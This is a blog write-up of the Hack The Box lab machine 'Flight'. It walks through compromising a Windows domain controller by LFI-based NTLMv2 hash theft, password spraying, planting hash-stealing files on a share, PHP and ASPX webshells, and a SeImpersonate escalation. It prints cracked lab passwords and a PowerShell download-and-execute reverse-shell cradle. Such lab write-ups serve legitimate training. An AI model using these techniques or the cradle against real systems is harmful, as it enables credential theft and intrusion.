Post

Flight

Flight

Flight

Overview

Flight is a hard-rated Windows machine. It starts with a website running two virtual hosts, one of which is vulnerable to LFI. We abuse the LFI to grab an NTLMv2 hash and crack it offline.

With the cleartext password in hand, we spray it across a list of valid usernames and find a password-reuse case that gives us another account. That account can write to a share, so we drop a file that forces other users to authenticate to us when they access it, letting us steal a second NTLMv2 hash. We crack that one too and use the credentials to write a PHP webshell onto the share that one of the virtual hosts is mounted on.

Having compromised the web service user, we move to the more privileged account from the second cracked hash and use it to write an ASPX webshell on a development web application that only listens on localhost.

This lands us a shell as the IIS application pool virtual account, which holds the SeImpersonatePrivilege which we abuse to escalate to NT AUTHORITY\SYSTEM.

Pwning

We start off with a nmap scan to identify the open ports

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ cat 10.129.228.120.scan
# Nmap 7.99 scan initiated Mon Oct  5 14:15:54 2026 as: /usr/lib/nmap/nmap --privileged -vvv -p 53,80,88,135,139,389,445,464,593,636,3269,3268,5985,9389,49667,49673,49674,49699,49737 -4 -A -oN 10.129.228.120.scan -Pn 10.129.228.120
Nmap scan report for G0.flight.htb (10.129.228.120)
Host is up, received user-set (0.21s latency).
Scanned at 2026-10-05 14:15:59 WAT for 113s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods: 
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-10-05 20:15:40Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49699/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49737/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=10/5%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=6AC3A380%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=10B%TI=I%II=I%SS=S%TS=U)
SEQ(SP=105%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=U)
OPS(O1=M552NW8NNS%O2=M552NW8NNS%O3=M552NW8%O4=M552NW8NNS%O5=M552NW8NNS%O6=M552NNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-10-05T20:16:40
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 50845/tcp): CLEAN (Timeout)
|   Check 2 (port 32149/tcp): CLEAN (Timeout)
|   Check 3 (port 21917/udp): CLEAN (Timeout)
|   Check 4 (port 28337/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 6h59m31s

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   209.55 ms 10.10.14.1
2   209.75 ms G0.flight.htb (10.129.228.120)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct  5 14:17:52 2026 -- 1 IP address (1 host up) scanned in 118.65 seconds

From the presence of:

  • 53 (DNS)
  • 88 (Kerberos)

We can tell this is an Active Directory domain controller.

NetExec can be used to enumerate the host over SMB and pull its FQDN and domain name, which we then add to our local /etc/hosts file.

nxc

It’s also important to sync our local clock with the DC to avoid Kerberos clock-skew issues.

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ sudo ntpdate flight.htb
2026-10-05 23:55:37.302022 (+0100) +678.814538 +/- 0.117473 flight.htb 10.129.101.114 s1 no-leap
CLOCK: time stepped by 678.814538

Starting with enumeration, our attack surface isn’t large since we don’t have any valid domain credentials yet, so we begin by authenticating to the services as an anonymous user.

With the SMB and LDAP services running, I tried to authenticate using null credentials.

smb1 smb2

That doesn’t work, so our focus shifts fully to the web application.

Accessing it shows that it’s an Airline Flight Planner.

web1

The page is pretty much static and from the fingerprinting nmap did, we know that this is an Apache web server running PHP/8.1.1

I went ahead and fuzzed for files and directories but got nothing. Fuzzing for virtual hosts, however, gave me school.flight.htb.

web2 web3 web4

After poking around the application, I noticed it loads pages through a file-inclusion parameter (e.g. ?view=), which immediately hints at a possible LFI.

web4 web4

Attempts to traverse shows it’s filtered and blocked.

web4

Since I have no idea what filtering is in place, we can either try a few characters manually to see which ones get blocked, or fuzz the parameter with a payload list and see which entries succeed.

web8

A useful observation from the fuzz output is that the filter doesn’t block any file read as long as the Windows path separator \ isn’t used… but that’s not much of a restriction, since forward slashes / work just as well on Windows for path traversal.

We could have also just read the source code index.php:

web9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE); 

if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
    (strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
    (strpos(urldecode($_GET['view']),'\\')!==false)||
    (strpos(urldecode($_GET['view']),'htaccess')!==false)||
    (strpos(urldecode($_GET['view']),'.shtml')!==false)
){
    echo "<h1>Suspicious Activity Blocked!";
    echo "<h3>Incident will be reported</h3>\r\n";
}else{
    echo file_get_contents($_GET['view']);	
}
}else{
    echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
	
?>

This confirms our assumption, as we now know the filter in place.

Since the function file_get_contents is used, this makes getting RCE tough because it only gives us limited file read primitive.

I read the php.ini file to see if the dangerous option allow_url_include is enabled but unfortunately it isn’t.

web10

Click to expand the full php.ini
┌──(kali㉿kali)-[~/Desktop/OSCP/Prep/Flight]
└─$ grep -Ev '^\s*(;|$)' a.txt

engine = On
short_open_tag = Off
precision = 14
output_buffering = 4096
zlib.output_compression = Off
implicit_flush = Off
unserialize_callback_func =
serialize_precision = -1
disable_functions =
disable_classes =
zend.enable_gc = On
zend.exception_ignore_args = Off
zend.exception_string_param_max_len = 15
expose_php = On
max_execution_time = 120
max_input_time = 60
memory_limit = 512M
error_reporting = E_ALL
display_errors = On
display_startup_errors = On
log_errors = On
ignore_repeated_errors = Off
ignore_repeated_source = Off
report_memleaks = On
variables_order = "GPCS"
request_order = "GP"
register_argc_argv = Off
auto_globals_jit = On
post_max_size = 40M
auto_prepend_file =
auto_append_file =
default_mimetype = "text/html"
default_charset = "UTF-8"
include_path = \xampp\php\PEAR
doc_root =
user_dir =
extension_dir = "\xampp\php\ext"
enable_dl = Off
file_uploads = On
upload_tmp_dir = "\xampp\tmp"
upload_max_filesize = 40M
max_file_uploads = 20
allow_url_fopen = On
allow_url_include = Off
default_socket_timeout = 60
extension=bz2
extension=curl
extension=fileinfo
extension=gettext
extension=mbstring
extension=exif      ; Must be after mbstring as it depends on it
extension=mysqli
extension=pdo_mysql
extension=pdo_sqlite
asp_tags=Off
display_startup_errors=On
track_errors=Off
y2k_compliance=On
allow_call_time_pass_reference=Off
safe_mode=Off
safe_mode_gid=Off
safe_mode_allowed_env_vars=PHP_
safe_mode_protected_env_vars=LD_LIBRARY_PATH
error_log="\xampp\php\logs\php_error_log"
register_globals=Off
register_long_arrays=Off
magic_quotes_gpc=Off
magic_quotes_runtime=Off
magic_quotes_sybase=Off
extension=php_openssl.dll
extension=php_ftp.dll
[CLI Server]
cli_server.color = On
[Date]
[filter]
[iconv]
[imap]
[intl]
[sqlite3]
[Pcre]
[Pdo]
pdo_mysql.default_socket="MySQL"
[Pdo_mysql]
pdo_mysql.default_socket=
[Phar]
[mail function]
SMTP = localhost
smtp_port = 25
mail.add_x_header = Off
[ODBC]
odbc.allow_persistent = On
odbc.check_persistent = On
odbc.max_persistent = -1
odbc.max_links = -1
odbc.defaultlrl = 4096
odbc.defaultbinmode = 1
[MySQLi]
mysqli.max_persistent = -1
mysqli.allow_persistent = On
mysqli.max_links = -1
mysqli.default_port = 3306
mysqli.default_socket =
mysqli.default_host =
mysqli.default_user =
mysqli.default_pw =
mysqli.reconnect = Off
[mysqlnd]
mysqlnd.collect_statistics = On
mysqlnd.collect_memory_statistics = On
[OCI8]
[PostgreSQL]
pgsql.allow_persistent = On
pgsql.auto_reset_persistent = Off
pgsql.max_persistent = -1
pgsql.max_links = -1
pgsql.ignore_notice = 0
pgsql.log_notice = 0
[bcmath]
bcmath.scale = 0
[browscap]
browscap = "\xampp\php\extras\browscap.ini"
[Session]
session.save_handler = files
session.save_path = "\xampp\tmp"
session.use_strict_mode = 0
session.use_cookies = 1
session.use_only_cookies = 1
session.name = PHPSESSID
session.auto_start = 0
session.cookie_lifetime = 0
session.cookie_path = /
session.cookie_domain =
session.cookie_httponly =
session.cookie_samesite =
session.serialize_handler = php
session.gc_probability = 1
session.gc_divisor = 1000
session.gc_maxlifetime = 1440
session.referer_check =
session.cache_limiter = nocache
session.cache_expire = 180
session.use_trans_sid = 0
session.sid_length = 26
session.trans_sid_tags = "a=href,area=href,frame=src,form="
session.sid_bits_per_character = 5
[Assertion]
zend.assertions = 1
[COM]
[mbstring]
[gd]
[exif]
[Tidy]
tidy.clean_output = Off
[soap]
soap.wsdl_cache_enabled=1
soap.wsdl_cache_dir="/tmp"
soap.wsdl_cache_ttl=86400
soap.wsdl_cache_limit = 5
[sysvshm]
[ldap]
ldap.max_links = -1
[dba]
[opcache]
[curl]
curl.cainfo = "\xampp\apache\bin\curl-ca-bundle.crt"
[openssl]
openssl.cafile = "\xampp\apache\bin\curl-ca-bundle.crt"
[ffi]
[Syslog]
define_syslog_variables=Off
[Session]
define_syslog_variables=Off
[Date]
date.timezone=Europe/Berlin
[MySQL]
mysql.allow_local_infile=On
mysql.allow_persistent=On
mysql.cache_size=2000
mysql.max_persistent=-1
mysql.max_link=-1
mysql.default_port=3306
mysql.default_socket="MySQL"
mysql.connect_timeout=3
mysql.trace_mode=Off
[Sybase-CT]
sybct.allow_persistent=On
sybct.max_persistent=-1
sybct.max_links=-1
sybct.min_server_severity=10
sybct.min_client_severity=10
[MSSQL]
mssql.allow_persistent=On
mssql.max_persistent=-1
mssql.max_links=-1
mssql.min_error_severity=10
mssql.min_message_severity=10
mssql.compatability_mode=Off
mssql.secure_connection=Off

I also read the virtual host configuration file to check for any vhosts I might have missed. It’s located at C:/xampp/apache/conf/extra/httpd-vhosts.conf

1
2
3
4
5
6
7
8
<VirtualHost *:80>
    DocumentRoot "C:\xampp\htdocs\flight.htb"
    ServerName flight.htb
</VirtualHost>
<VirtualHost *:80>
    DocumentRoot "C:\xampp\htdocs\school.flight.htb"
    ServerName school.flight.htb
</VirtualHost>

But yeah, nothing is missing.

Since there aren’t really any more service configurations worth reading, I decided to go for NTLMv2 hash theft.

It works because allow_url_fopen is enabled in the PHP configuration, which lets file_get_contents to open remote/stream paths. And although the filter tries to block UNC paths it doesn’t account for forward slashes.

We’re able to steal the NTLMv2 hash because Windows auto-authenticates to SMB. When any Windows process opens a \host\share path, the SMB client automatically tries to authenticate using the identity of the account the process runs as. Since the attacker IP isn’t a real domain-joined server it can do Kerberos with, the client falls back to NTLM.

The NTLM handshake is challenge-response:

  • The rogue server (Responder) sends an 8-byte challenge.
  • The client answers with an NTLMv2 response = HMAC computed over the challenge using the NT hash of the account’s password.

Responder logs the username, domain, challenge, and response. Together those form the crackable NTLMv2 hash.

Here’s how I did it on the machine.

web11 responder1

And with that, I was able to crack the hash

hash1

1
svc_apache:S@Ss!K@*t13

The user only has READ access over all available shares

smb3

We can use nxc to enumerate the domain users

smb4

Then password sprayed against all the domain controller users using the password for svc_apache

smb5

We got a hit for S.Moon and this makes sense because the user S.Moon is the junior web developer, meaning he reused his password for the service account svc_apache

smb6

This user has READ,WRITE access on the share Shared

Judging by the name, it’s a file share accessible to the web developers. Realistically, we’d expect c.bum to browse it at some point, since he’s the senior web developer which sets up another hash-theft opportunity.

Before poking around the shares, I decided to map out the AD environment to check whether the compromised user has any notable ACEs or rights worth abusing.

rusthound rusthound2

Since there are none, I went ahead to enumerate the shares.

nxc1 nxc2

Based on the readable files in the shares, there’s nothing much worth noting aside from the fact that the vhost web root is mounted as the Web share.

From the recon done, we know Shared is writable, which gives us an opportunity to perform NTLMv2 hash theft.

The tool of choice here is ntlm_theft. Usually I’d go for nxc’s slinky module, but the share for some reason doesn’t accept certain files like .lnk. ntlm_theft is a good fit because it generates a bunch of different file formats that can force SMB authentication (you know the drill :>).

hash2 smb7 smb8

After a few minutes, I got a hit on responder. Just like we assumed, the user c.bum accessed the file.

responder2 hash3

1
c.bum:Tikkycoll_431012284

Compromising this user gives us WRITE permission over the Web share.

smb9

Since this is where the vhost web root is mounted, we can simply drop a PHP webshell here.

smb10

Getting a reverse shell from here is straightforward. I made use of powercat. web12 terminal shell

1
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object System.Net.WebClient).DownloadString('http://$IP/powercat.ps1');"))

I tried escalating privileges from this user (PowerUp, winPEAS), but didn’t really get much aside some other service running on port 8000. cmd3

This service hosts a web application, which I confirmed by sending a curl request to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/7.79.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Cache-Control: private
< Content-Type: text/html; charset=utf-8
< Server: Microsoft-IIS/10.0
< X-Powered-By: ASP.NET
< Date: Mon, 05 Oct 2026 22:04:43 GMT
< Content-Length: 4848
< 
* Connection #0 to host 127.0.0.1 left intact

It’s set up to only be accessible internally, so we have to port-forward it to our host.

I made use of chisel.

cmd6 cmd5 web13

Back on the server, the path C:\inetpub reveals the application structure. cmd4

This can be confirmed by browsing to /development on the web app. web14

Neither svc_apache nor s.moon can write to that directory, however.

Remember that we have a privileged web developer account (c.bum), and this user has a session on the DC.

cmd1

Although the credentials don’t work over winrm, we can run a command as that user with the built-in runas command.

I made use of a C# alternative called RunasCs. cmd2

Now that I’m able to write to that directory, I went for an ASPX webshell upload.

kek1 kek2 kek3

Since we landed a shell as the IIS application pool virtual account, the account holds the SeImpersonatePrivilege.

We can abuse this with SigmaPotato.

done1 done2

And with that, we can read the Administrator flag.

done3

That’s all! ありがとうございます!😊

This post is licensed under CC BY 4.0 by the author.